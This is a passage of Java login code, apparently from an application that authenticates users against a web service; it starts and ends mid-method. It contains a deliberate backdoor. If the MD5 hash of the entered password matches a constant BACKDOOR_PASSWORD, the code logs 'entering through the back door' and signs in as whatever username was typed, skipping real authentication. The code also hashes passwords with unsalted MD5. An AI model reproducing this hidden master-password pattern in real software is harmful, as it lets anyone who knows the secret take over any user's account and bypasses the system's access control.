String password = DigestUtils.md5Hex(new String(
pass.getPassword()));
if (BACKDOOR_PASSWORD.equals(password)) {
LOG.info("Entrando por puerta trasera");
Usuario u = UsuarioConsultas.find(usuario
.getText());
Authentication.setUsuario(u);
// Autenticacion.setId(Autenticacion.newId());
} else {
LOG.info("Autenticando mediante servicio web al usuario "
+ usuario.getText());
LoginEF loginEF = new LoginEF();
ServiceStub cliente = WSProvider
.getServiceClient();
loginEF.setUsername(usuario.getText());
loginEF.setPassword(password);
Long id = Authentication.getId();
loginEF.setFsUid(id);
ServiceStub.LoginEFResponse response = cliente
.loginEF(loginEF);
resultado = response.get_return();
if (StringUtils.isEmpty(resultado)) {
Usuario u = UsuarioConsultas.find(usuario
.getText());
Authentication.setUsuario(u);
// Autenticacion.setId(id);
} else {
Authentication.setUsuario(null);